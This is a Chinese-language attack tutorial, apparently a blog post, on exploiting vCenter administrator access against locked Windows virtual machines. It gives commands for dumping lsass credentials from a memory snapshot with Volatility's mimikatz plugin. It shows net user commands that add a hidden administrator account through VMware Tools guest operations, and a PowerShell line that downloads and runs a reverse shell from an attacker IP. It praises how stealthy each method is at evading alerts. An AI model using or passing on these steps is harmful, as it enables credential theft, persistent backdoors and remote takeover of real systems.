拿到 vCenter 管理员权限,但部分虚拟机处于锁屏状态怎么办
1. 内存转储攻击
这是最强大且隐蔽的攻击方式,它能让你在不与虚拟机桌面直接交互的情况下,窃取到所有已登录用户的密码
原理:Windows 操作系统在运行时,会将已登录用户的明文密码、NTLM 哈希和 Kerberos 票据等凭据信息,存储在
lsass.exe
进程的内存中。作为 vCenter 管理员,你可以获取虚拟机的**内存快照,这个快照文件包含了虚拟机在某一时刻的全部内存数据操作步骤:
在 vCenter 界面中,找到锁屏的虚拟机
右键点击虚拟机,选择 Snapshot -> Take Snapshot。在弹出的窗口中,勾选 "Snapshot the virtual machine's memory"
等待快照完成后,找到这个快照文件(通常是
.vmem
或.vmss
文件)。这个文件通常位于 ESXi 主机的数据存储(Datastore)上将这个文件下载到你的攻击机
在攻击机上使用内存取证工具,例如
Volatility
。执行命令来分析.vmem
文件并提取凭据# 识别操作系统类型 volatility -f <内存快照文件> imageinfo # 从lsass进程中提取密码哈希和明文密码 volatility -f <内存快照文件> --profile=<识别出的操作系统> mimikatz
优点:这种方法非常隐蔽,几乎不会在虚拟机内留下任何痕迹,也不会触发任何安全告警。即使虚拟机锁屏,你依然可以成功获取登录凭据
2. 利用 VMware Tools 在虚拟机内执行命令
如果虚拟机内安装了 VMware Tools,你就可以利用 vCenter 的 Guest Operations
功能,直接在虚拟机内部执行命令,而无需登录
- 原理:VMware Tools 是一个运行在虚拟机操作系统中的服务,它与 vCenter 后台进程进行通信。这使得 vCenter 可以远程管理虚拟机,包括文件传输、脚本执行等
- 操作步骤:
- 在 vCenter 界面中,找到锁屏的虚拟机
- 右键点击虚拟机,选择 Guest OS -> Run Program in Guest
- 在弹出的对话框中,你可以输入想要执行的命令
- 你可以执行以下命令来建立一个持久化的后门
- 创建新的管理员用户:
C:\Windows\System32\cmd.exe /c "net user newuser password /add"
C:\Windows\System32\cmd.exe /c "net localgroup administrators newuser /add"
- 下载并执行反向 Shell:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "iwr http://<攻击机IP>/shell.ps1 -OutFile C:\temp\shell.ps1; Start-Process C:\temp\shell.ps1"
- 创建新的管理员用户:
- 优点:这种方法简单直接,只要虚拟机处于开机状态且 VMware Tools 运行正常,你就可以绕过锁屏,直接在内部执行命令
3. 创建新的管理员账户
如果上述方法都失败了,你还有终极权限——在虚拟机内创建新的管理员账户
- 原理:利用 VMware Tools 的
Run Program in Guest
功能,你可以直接调用操作系统命令来创建新用户并将其添加到管理员组 - 操作步骤:
- 执行上面提到的
net user
和net localgroup
命令,创建一个新的管理员账户 - 等待命令执行成功后,你就可以使用这个新创建的账户,远程桌面连接到虚拟机,或者通过其他方式登录
- 执行上面提到的